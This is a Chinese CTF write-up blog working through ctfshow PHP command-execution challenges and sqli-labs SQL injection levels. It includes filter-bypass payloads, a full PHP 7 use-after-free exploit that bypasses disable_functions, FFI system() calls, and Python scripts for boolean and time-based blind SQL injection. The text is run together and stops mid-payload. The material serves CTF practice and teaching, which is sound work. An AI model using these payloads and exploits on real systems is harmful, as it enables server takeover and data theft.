这个题出现了和上题一样的结果,如果加了空格就没有任何返回,所以一定要去掉空格/?c=include%09$_GET[1]?%3E&1=/var/log/nginx/access.log 获得服务器的log?c=include $_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php #错误 ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php #正确 ?c=include $_POST[1]?>1=php://filter/read=convert.base64-encode/resource=flag.php #这种使用post的办法我没有成功过同上同上?c=data://text/plain,<?=%20system("cat%20fla*");?>分析发现过滤了数字,将数字0改成a就行过滤了flag ,又是 include 文件包含,利用伪协议读flagdata://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行?c=data://text/plain,<?php system("cat fla*")?> 直接使用 ?c=data://text/plain,同上题,了个php过滤,base64编码绕过即可?c=data://text/plain,<?= system("cat fla*");?>#或者跳过过滤php ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs= 仅仅是过滤了flag,同37无参数文件读取localeconv() 函数返回一包含本地数字及货币格式信息的数组。current() 函数返回数组中的当前元素(单元),默认取第一个值,pos() 同 current() ,是current()的别名reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE构造payload/?c=print_r(scandir(current(localeconv())));获得当前的目录,我们可以发现flag.php在数组的倒数第二个值里,我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取,然后就报错了,4中payload?c=highlight_flie(next(array_reverse(scandir(current(localeconv()))))); readfile(array_rand(array_flip(scandir(current(localeconv()))))); readfile(next(array_reverse(scandir(current(localeconv()))))); ?c=eval(array_rand(array_flip(getallheaders()))); ?c=eval(end(current(get_defined_vars())));&a=system("ls");不会,看不懂WP,附上网站>/dev/null 2>&1主要意思是不进行回显的意思,可参考https://www.cnblogs.com/tinywan/p/6025468.html我们要让命令回显,那么进行命令分隔即可; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行 cat flag.php; cat flag.php||过滤了空格和分号,直接使用其他的文件读取more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 grep strings过滤了cat,且输出无效,只要只执行前面的命令,?c=sort%20fl*|| 空格绕过,输出无效?c=tac%09fla*%0a多过滤了通配符通配符可以使用?问号,空格可用%09?c=sort%09fl?g.php|| ?c=tac%09fla?????%0a多过滤了一些东西,万能解?c=tac%09fla?????%0a同上,多过滤了一点同上,还是没有过滤tac和? payload: ?c=tac%09fla''g.php%过滤了很多,直接替换 tac<fla''g.php%0a%0a是换行,同样可以进行命令分隔;tac被过滤,换nlpayload: ?c=nl<>fla\g.php%0a这次直接输出flag没有,查找根目录,发现了flag,读取即可直接输出flag ?c=nl$fla\g.php 使用bin目录下面的ca命令输出 ?c=/bin/ca?$f???????直接读取 ?c=uniq$f???????或者进行查找读取 ?c=grep$%27fl???php 意思就是在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行两种办法对flag进行加密然后输出/???/????64 ???????? #bin目录下放着系统必备的执行档,比如cat,chmod。。。base64这个命令就是将指定的文件的内容以base64加密的形式输出。因为过滤了字母,正好可以用64来匹配这个命令/bin/base64 flag.php对flag文件进行压缩然后下载payload:?c=/???/???/????2 ????.??? ---》 然后在url + /flag.php.bz2 #我们可以利用/usr/bin下的bzip2,意思就是说我们先将flag.php文件进行压缩,然后再将其下载解题前先吹一下P神,挂一下博客,本题过滤了字母、数字。。这样的话只能去使用通配符去匹配。先来上传一个post文件,这样的话文件会被存放在临时文件夹/tmp,并且默认的文件名为/tmp/phpXXXXXX。这样的话就可以去执行这个命令. file也可以source file,但是这题过滤了字母,只能使用. file,具体方法见本题开始P神博客,最后使用/???/????????[@-[],成功匹配。 有大佬写了个py脚本,奉上import requests while True: url = "http://80f8239f-d1d3-4365-8b48-12adf22459fe.chall.ctf.show/?c=.+/???/????????[@-[]" r = requests.post(url, files=) if r.text.find("flag") >0: print(r.text) break 具体操作,先构造一个上传文件的HTML<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST文件上传</title> </head> <body> <form action="http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>上传一个.php文件,文件内容#!/bin/sh ls上传抓包,抓包之后添加参数c=.%20/???/????????[@-[] 如下,多发包几次(因为并不一定生成的临时文件的最后一个字母就是大写字母),可以看到执行了ls命令,能够回显信息,但是我的失败了,所有借用其他大佬的图,至于参数还是去见P神的博客然后用cat来读取这个flag就可以 题目说了flag在36.php下面,只要构造出36就可以自动读出flag,知识点是$(( ))与整数运算双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。通俗地讲,就是将数学运算表达式放在((和))之间。表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。$(())的值是0,关于取反,如果b=~a,那么a+b=-1首先知道,而且在$(())里是可以想加的$(( $((~$(()))) $((~$(()))) )) 是-2 $((~$(()))) 是-1,因为对上面对-2进行取反在$(())放入37个$((~$(())))就可以变成-37,然后对其取反得到36$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))几张关于取反的图注意本题是POST类型,接下来绕过disable_functions,即被禁止的函数file_get_contents() highlight_file() show_source() fgets() file() readfile()paylaod有很多c=echo highlight_file('flag.php'); c=show_source("flag.php"); c=highlight_file("flag.php");使用58中的payload也可以来获得,但是也可以使用fopenc=$a=fopen("flag.php","r");while (!feof($a)) c=$a=fopen("flag.php","r");while (!feof($a)) c=$a=fopen("flag.php","r");while (!feof($a)) c=$a=fopen("flag.php","r");echo fread($a,"1000"); c=$a=fopen("flag.php","r");echo fpassthru($a);58中的函数,或者复制重命名读取//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt) copy() rename() //用法: copy("flag.php","flag.txt"); rename("flag.php","flag.txt"); 同58同58同58同58同58代码无变化,但是上面的payload都无法使用c=print_r(scandir("/"));先看看目录,使用 c=print_r(scandir("/")); 失败,使用c=var_dump(scandir("/")); 成功然后直接highlight_file读取 payload:c=var_dump(scandir("/"));highlight_file("/flag.txt");各种都文件的都被禁用了,但是可以使用文件包含先看一下文件目录c=var_dump(scandir("/"));,发现有flag.txt直接使用文件包含c=include("/flag.txt");是txt就直接包含,是php就base64包含这个地方无法查看目录了,但是可以遍历查看,直接使用文件包含c= $a=scandir("/"); foreach($a as $value){ echo $value." "; } #scandir c= $a=glob("/*"); foreach($a as $value){ echo $value." "; } #glob c= $a=new DirectoryIterator('glob:///*'); foreach($a as $f){ echo($f->__toString()." "); } #一种骚操作直接文件包含贴一下代码<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?如果继续执行,flag就会被替换。获得flag后直接退出程序用exit或者die提前结束进程,使得后面的代码不会被执行 c=include("/flag.txt");exit(); c=include("/flag.txt");die();看起来代码没有改变,其实有变化。文件存在open_basedir:open_basedir将PHP所能打开的文件限制在指定的目录树中,包括文件本身。利用glob伪协议在筛选目录时不受open_basedir制约,获得所有的目录c= $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." " ; } exit();知道了文件是flag0.txt后绕过open_basedir和disable_functions。利用的是php7-backtrace-bypass,原始脚本如下php7-backtrace-bypass不过其中的一些函数也被ban了,出题人魔改了:<?php # PHP 7.0-7.4 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=76047 # debug_backtrace() returns a reference to a variable # that has been destroyed, causing a UAF vulnerability. # # This exploit should work on all PHP 7.0-7.4 versions # released as of 30/01/2020. # # Author: https://github.com/mm0r1 pwn("uname -a"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg =str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) ; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); }讲这个函数进行url编码进行传输就可解得payload:c=urlencode(php7-backtrace-bypass)直接查看目录和cat flag.txt文件,不能直接print出来,只能去遍历c= $a=glob("/*"); foreach($a as $value){ echo $value." "; };die(); #遍历得到flag c=include("/flagc.txt");exit(); #包含获得方法同上,但是文件变成了flagx.txt查看文件在flag36.txt ,有的师傅使用前面的姿势是可以拿到的。但是我这个菜鸡拿不到只能解锁新姿势大师傅们说数据库的连接是读配置文件得到的,我觉得也是读鬼的配置文件才能拿到,反正我是第一次见使用数据库的账号密码读flagc= try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach ($dbh->query('select load_file("/flag36.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null; } catch (PDOException $e) { echo $e->getMessage(); exit(0); } exit(0);同75,但是flag文件变成了flag36d.txt有师傅直接看成是php7.4,本菜鸡用的一个插件发现的。很容易想到利用FFI来绕过disable_functions。然后奉上脚本,这个题目是没有回显的,但是有写的权限,可以直接访问1.txtc= $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." " ; } $ffi = FFI::cdef( "int system(const char *command);"); $ffi->system("/readflag > 1.txt"); exit();web 入门118. 知识盲区:经过一系列的fuzz,可以发现过滤了小写字母,数字还有一些字符。因为windows不区分大小写,但是linux是区分大小写的,所以大小写不能绕过,/也被过滤了,我就不会了。。看了一下WP,利用的是linux的bash内置变量还有关于它的一些知识点。具体的内置变量可以输入env查看,不过env是所有的环境变量,而内置变量知识环境变量的一部分。常见 Bash 内置变量介绍Linux 基础知识:Bash的内置变量正常可以利用切片来获得所需要的字母,但是过滤了数字。可以利用字母,在这里用字母就等同于数字0。然后使用取反号获得。$在这题肯定是/var/www/html,而$通常是bin,结尾,因此就可以构造命令nl:code=$$ ????.??? #就是$ 即构造了n $构造了l,然后使用通配符匹配flag.php,或者flag.txt但是我使用本机kali创建的是slweb119. 在上一题的基础上过滤了PATH还有BASH构造数字方面$ #首先大写字母等同于0,所以0是有的。不加#是变量的值,加了#是变量的值的长度。既然linux存在那么多的bash内置变量,那么长度肯定也是很多的,再加上各种变形和套娃,我觉得甚至0-9都取到也不是很难。--据某大佬说这里大师傅们用了这两个内置变量:RANDOM和SHLVL。RANDOM此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器 默认值是1yu师傅使用的是/bin/base64 flag.php,因此考虑构造出/和数字4就可以了,当然数字6也不是不能构造。最终payload如下:code=$}???$}?????$ ????.???ctfshow菜鸡给出的如下,构造/bin/cat flag.php$:$} ====> t $:$} ====> / /bin/cat flag.php $:$}???$:$}??$:$} ????.???web 120.之前的题目和这题的hint中因为都用到了一些不可预测的变量,比如HOME,HOSTNAME,还有这题的USER。不同环境肯定不同,而且因为这题没法输出,你很难得到这些的值,只能靠猜,所以就没有去深究hint。 --据某大佬没研究,直接上payload:$}???$}?$? ????.???web 121. SHLVL被ban了,想办法去构造1。测试$可以得到1yu师傅的姿势,用的是$$? 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。IFS作用用途:定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline)。长度为3,而PWD是/var/www/html,正好可以取到r,用/bin/rev这个命令来读flag.php。rev这个命令又是姿势盲区了,查了一下,是把文件中每行逆序输出读取,又学到一种文件读取的姿势了。这个时候输出的为逆序a='}b01635aa4c73-faf9-2da4-ee97-ea1af297{wohsftc' a[::-1] #Python进行逆转web 122. 被过滤的东西吓到了,这么多$?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。而且这个返回值原来是可控的yu师傅说$的报错在本地返回时1,但是题目环境是2,所以放开了<<A的报错返回也是1,所以就成功得到了数字1,至于数字4拿RANDOM随机就可以了。看一下本地的返回值构建的payload如下,获得flag的时候快破防了,post很多次才获得flag的base64加密密文<A;$???$?????$ ????.???进入进行代码审计发现长度不能超过80不能有奇奇怪怪的字符给了数学公式,利用数学公式进行RCR进制转换base_convert 构造system<?php echo base_convert("system",36,10); #结果:1751504350这样的话就得到system了,执行ls就?c=base_convert(1751504350,10,36)(base_convert(784,10,36))空格和/利用异或来构造<?php $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; $whitelist2 = [ 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh','abs']; foreach ($whitelist as $i): foreach ($whitelist2 as $k): echo $k^$i^" /flag"; echo " " . $i . " " . $k; echo "<br/>"; endforeach; endforeach;获取当前请求头的全部HTTP请求头信息getallheaders得到payload:?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)())首先是利用$pi这个变量来缩短长度,然后是base_convert(1751504350,10,36),得到的是system,base_convert(8768397090111664438,10,30)得到的是getallheaders,至于为什么是30进制,因为这个:Warning由于使用内部的 “double” 或 “float” 类型,base_convert() 的操作可能会导致大数值中的精度丢失。请参见本手册的 浮点数 章节以便获得更多详细信息。经过大师父们的测试,31-36进制的getallheaders都会出现精度丢失导致不能成功得到getallheaders,30进制的时候就可以了。然后就是http头里面加一个:1:cat /flag。复现失败了,不知道哪里有问题也可以使用GET方法获得flag ,payload如下?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi)(($$pi))&pi=system&abs=cat /flag // base_convert(37907361743,10,36) -> hex2bin // dechex(1598506324) -> 5f474554 // hex2bin("5f474554") -> _GET #$pi 的值为 hex2bin("5f474554") ,$$pi 也就是 $hex2bin("5f474554") -> $_GET ,变成了预定义变量。也失败了hhh。两种办法都不返回flag
2021年09月16日
4 阅读
1 评论
0 点赞
2021-09-14
ctfshow之sqli-labs
SQL-Labs爆破库名,information_schema这个系统库存放所有的库信息,union联合注入,将两个sql语句进行联合。前后的两个语句选择列数相同。union all增加了去重功能。两个语句联合操作,当前面的数据为空,可以输出后面语句的内容。?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata-- - # 爆库 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'-- - #爆表 ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'-- - # 爆列名 ?id=-1' union select 1,group_concat(flag),3 from ctfshow.flag-- - #爆字段爆破如同517,但是本题目为数字,需要去掉“-1'"里面的单引号,同时表名字段名也都更换使用‘)进行闭合,同时表名字段名也都更换使用“)进行闭合,同时表名字段名进行更换布尔盲注无法通过报错来返回信息,只能返回true或者false。这时候可以一位一位的测试数据库的库、列、表。使用脚本进行判断,如果判断为真则会返回为真的界面,否则返回为假的页面或者不返回。下面的注入为1时也就是真会返回"You are in..........."下面的注入不存在时报错"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1"当去尝试获得数据库的长度的时候发现没有任何返回,继续尝试获得数据库的长度,测试为8的时候返回为“Ture”。这个时候使用left()函数进行注入,函数有两个参数,第一个为字符串截取的对象,第二个是从左到右第几个字母,最后测得为s这个时候如法炮制,需要使用脚本,一般使用二分法在payload中,substr()函数的作用是依次截取每一个字符,确定它们的ascii码值,然后用ascii()函数将其转换成对应的字符;如果发现有you are in....出现,则说明对应的字符ascii值大于low和high的均值,则low值变为mid+1,如果未出现,说明小于,将mid赋给hiimport requests if __name__ == '__main__': url = 'http://28c313d6-1841-4035-adab-c84443e19961.challenge.ctf.show:8080/?id=1%22and%20' result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),,1))>,1,0)%23' # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),,1))>,1,0)%23' # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagpa"),,1))>,1,0)%23' payload = f'if(ascii(substr((select group_concat(flag3a3) from ctfshow.flagpa),,1))>,1,0)%23' # print(payload) r = requests.get(url=url + payload) if 'You are in...........' in r.text: low = mid + 1 else: high = mid if low != 32: result += chr(low) else: break print(result)accii码对 %20 ‘ ’ %27 ' %22 "题型和521相似,sql盲注写脚本这个题是无法通过回显来获得的注入的时候是使用[hi]写入html目录下去访问这个txt获得flag [/hi]?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow' into outfile "/var/www/html/1.txt"-- - #去获得一个数据库的表 ?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk' into outfile "/var/www/html/2.txt"-- - #去获得一个表的全部字段 ?id=1')) union select 1,2,group_concat(flag43) from ctfshow.flagdk into outfile "/var/www/html/3.txt"-- - #去获得字段的全部内容但是无法爆出全部的库名?id=1')) union select 1,2,group_concat(schema_name) from information_schema.schemata into outfile "/var/www/html/3.txt"-- - #爆出全部的库名题目和521重复时间盲注,通过sleep()函数,如果正确就睡几秒,错误就立即加载页面,也是可以写一个脚本去跑延迟注入,是一种盲注的手法, 提交对执行时间铭感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注.SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出,只能手工检测,利用脚本程序跑出结果。使用"进行闭合本题应该和525相同,但是因为网络无法通过时间判断本题使用在用户名处进行post注入,hackbar无法进行抓包,所以使用Bp进行抓包来注入。uname=admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'#&passwd=1 #获得表名 uname=admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='flagugsd'#&passwd=1 #获得字段名字 uname=admin' union select 1,group_concat(flag43s) from ctfshow.flagugsd#&passwd=1 #获得flag这个地方去可以去爆库,但是回显的时候发现username和password都回显,且1为username,2为password。但是经测试只有2回显可以使用,且回显在password位置同27题,但是使用[hi]")[/hi]进行闭合成功也没有回显,但是失败后会有提示,且成功悔返回一个flag.jpg的图片,失败会返回一个slap.jpg图片import requests if __name__ == '__main__': url = 'http://9301abaf-d8ee-4cc9-a060-6aad4a35035b.challenge.ctf.show:8080' result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),,1))>,1,0)' # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),,1))>,1,0)' # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flag"),,1))>,1,0)' payload = f'if(ascii(substr((select group_concat(flag4) from ctfshow.flag),,1))>,1,0)' # print(payload) data = { 'uname': f"admin') and #", 'passwd': '123' } # print(data['uname']) r = requests.post(url=url, data=data) if 'flag.jpg' in r.text: low = mid + 1 else: high = mid if low != 32: result += chr(low) else: break print(result)   [hi]"[/hi]闭合import requests if __name__ == '__main__': url = 'http://240d4931-ff0b-405b-a741-91f392e537cd.challenge.ctf.show:8080/' result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),,1))>,1,0)' # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),,1))>,1,0)' # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagb"),,1))>,1,0)' payload = f'if(ascii(substr((select group_concat(flag4s) from ctfshow.flagb),,1))>,1,0)' # print(payload) data = { 'uname': f'admin" and #', 'passwd': '123' } # print(data['uname']) r = requests.post(url=url, data=data) if 'flag.jpg' in r.text: low = mid + 1 else: high = mid if low != 32: result += chr(low) else: break print(result)[hi]’[/hi]闭合import requests if __name__ == '__main__': url = 'http://a70f0c66-19e8-497f-87d7-fdcf275647fa.challenge.ctf.show:8080/' result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),,1))>,1,0)' # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),,1))>,1,0)' # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagba"),,1))>,1,0)' payload = f'if(ascii(substr((select group_concat(flag4sa) from ctfshow.flagba),,1))>,1,0)' # print(payload) data = { 'uname': f"admin' and #", 'passwd': '123' } # print(data['uname']) r = requests.post(url=url, data=data) if 'flag.jpg' in r.text: low = mid + 1 else: high = mid if low != 32: result += chr(low) else: break print(result)这题是时间盲注,因为无论正不正确,下面的图片都是fail,利用sleep()函数手动试出是")闭合import requests if __name__ == '__main__': url = 'http://59b43bf0-9578-454a-a79c-dc89b97ca7ae.challenge.ctf.show:8080/' result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),,1))>,sleep(0.2),0)' # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),,1))>,sleep(0.2),0)' # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagbab"),,1))>,sleep(0.2),0)' payload = f'if(ascii(substr((select group_concat(flag4sa) from ctfshow.flagbab),,1))>,sleep(1),0)' # print(payload) data = { 'uname': f'admin") and #', 'passwd': '123' } # print(data['uname']) try: r = requests.post(url=url, data=data, timeout=0.5) high = mid except: low = mid + 1 if low != 32: result += chr(low) else: break print(result)报错注入,并不会$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'You are in...........'; }else{ print_r(mysql_error()); //报错信息 }uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)-- - 爆表 uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name='flag'),0x7e),1)-- - 爆字段 uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select (flag4) from ctfshow.flag),0x7e),1)-- - #只能显示左边一部分的字段 uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select right(flag4,20) from ctfshow.flag),0x7e),1)-- - #能够显示右边字段的信息当输入账号密码都为admin时返回ua头(在不知道密码的时候如何注入UA),可能是ua注入' and updatexml(1,concat(0x7e,(select(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1) and '1'='1 #获得表名 ' and updatexml(1,concat(0x7e,(select(column_name) from information_schema.columns where table_name='flag' limit 1,1),0x7e),1) and '1'='1 #获得字段名 ' and updatexml(1,concat(0x7e,(select(flag4) from ctfshow.flag),0x7e),1) and '1'='1 #只能' and updatexml(1,concat(0x7e,(select right (flag4,20) from ctfshow.flag),0x7e),1) and '1'='1 #获得一部分的flag所以需要使用以下命令获得右部分flag Refrer注入,但是需要讲账号密码都要填入admin才能发生回显' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),0x7e)) and '1'='1 #获得表 ' and extractvalue(1,concat(0x7e,(select 